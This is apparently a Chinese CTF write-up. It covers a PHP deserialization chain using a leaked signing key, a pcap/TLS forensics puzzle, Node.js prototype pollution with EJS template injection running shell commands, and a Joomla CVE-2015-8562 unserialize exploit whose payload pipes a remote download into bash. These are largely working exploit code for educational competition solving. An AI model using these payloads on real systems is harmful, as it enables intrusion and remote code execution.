$rand_key = array_rand($this->cards[$level]);

return array(
"stars" => $level,
"No" => $rand_key,
"card" => $this->cards[$level][$rand_key]
);
}

public function init()
{
$this->cards = include($this->file);
}

public function __toString(){
return file_get_contents($this->file);
}
}


class Session{

private $sessionData;

const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";

public function __construct(){}

public function set($key, $value){
if(empty($key)){
$this->sessionData[] = $value;
}else{
$this->sessionData[$key] = $value;
}
}

public function getAll(){
return $this->sessionData;
}


public function save(){

$serialized = serialize($this->sessionData);
$sign = base64_encode(md5($serialized . self::SECRET_KEY));
$value = base64_encode($serialized) . "." . $sign;

setcookie("session",$value);
}


public function extract($session){

$sess_array = explode(".", $session);
$data = base64_decode($sess_array[0]);
$sign = base64_decode($sess_array[1]);

if($sign === md5($data . self::SECRET_KEY)){
$this->sessionData = unserialize($data);
}else{
unset($this->sessionData);
die("Go away! You hacker!");
}
}
}


class Eeeeeeevallllllll{
public $msg="坏坏liki到此一游";

public function __destruct()
{
echo $this->msg;
}
}

index.php

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
require_once ("simulator.php");
$simulator = new Simulator();
$cards = array();
if(isset($_POST["draw"])){
$cards = $simulator->draw($_POST["draw"]);
}
?>

盲猜反序列化

image-20210215193353483

__toString 有可能会有任意文件读取

image-20210215193426050

这不很简单吗? 找反序列化点吧

image-20210215193524438

看下那里调用了extract方法

image-20210215193602880

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class CardsPool
{
private $file;

public function __construct()
{
$this->file = 'flag.php';
}
}
class Eeeeeeevallllllll{
public $msg;

public function __construct()
{
$this->msg = new CardsPool();
}
}
$a = new Eeeeeeevallllllll();
// echo base64_encode(serialize($a));
$key = '7tH1PKviC9ncELTA1fPysf6NYq7z7IA9';
echo base64_encode(serialize($a)).'.'.base64_encode(md5(serialize($a).$key));

misc

A R K

发现有ftp 筛选ftp-data

image-20210216201238692

追踪tcp流发现

image-20210216201303158

ssl log 保存到文件 编辑->首选项->协议->TLS

image-20210216201428549

再次筛选http 发现就有东西了

image-20210216201504135

导出http对象 发现有串base64加密的字符串 追踪http流也能得到

image-20210216201721367

解码得到

image-20210216201741003

压缩包 保存下来 直接打开提示

image-20210216201830736

week4

web

漫无止境的星期日

nodejs 原型链污染 + ejs模板注入 查看源代码发现/static/www.zip得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
const express = require('express')
const bodyParser = require('body-parser')
const session = require('express-session')
const randomize = require('randomatic')
const ejs = require('ejs');
const path = require("path");

const app = express()
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))

app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = { name: "", discription: "" }
if (req.ip === "::ffff:127.0.0.1") {
data.crying = true
}
if (req.method == 'POST') {
Object.keys(req.body).forEach((key) => {
if (key !== "crying") {
data[key] = req.body[key]
}
})
req.session.crying = data.crying
req.session.name = data.name
req.session.discription = data.discription

return res.redirect(302, '/show');
}

return res.render('loop')
})

app.all('/show', (req, res) => {
if (!req.session.name || !req.session.discription) {
return res.redirect(302, '/');
}

let wishes = req.session.wishes ? req.session.wishes : ""

return res.render('show', {
name: req.session.name,
discription: req.session.discription,
wishes: wishes
})

})

app.all('/wish', (req, res) => {
if (!req.session.crying) {
return res.send("forbidden.")
}

if (req.method == 'POST') {
let wishes = req.body.wishes
req.session.wishes = ejs.render(`<div class="wishes">${wishes}</div>`)
return res.redirect(302, '/show');
}

return res.render('wish');
})

app.listen(3000, () => console.log(`App start on port 3000!`))

原型链污染出现在

1
2
3
4
5
Object.keys(req.body).forEach((key) => {
if (key !== "crying") {
data[key] = req.body[key]
}
})

构造

1
2
3
4
5
6
7
POST / HTTP/1.1
Host: macguffin.0727.site:5000
Content-Type: application/json
Cookie: session=s%3AwAcqo_ZTsY89vKXsAyZaHShlpscCKww6.WB2AVS3298UqJDeylhn9Ek8SghOW%2BjZ9tcRb2gUJObg
Content-Length: 74

{"__proto__":{"crying":"crying"},"name":"MoonBack","discription":"hack"}

接着替换新的cookie给/wish 并POST过去wishes值为 进行模板注入

1
<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>

在用相同的cookie访问/show就有flag了

joomlaJoomla!!!!!

有源码 根据时间搜下 看看哪些文件最近改动了 只有两个文件

1
find ./ -type f -mtime -5 | grep php

image-20210224231556985

版本信息位于

1
/administrator/manifests/files/joomla.xml

参考:

https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2015-8562

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "system('curl 1.1.1.1 | bash');JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}

class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a);

$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
echo "123}__test||{$poc}\xF0\xFD\xFD\xFD";

推荐在线运行:https://sandbox.onlinephpfunctions.com/

评论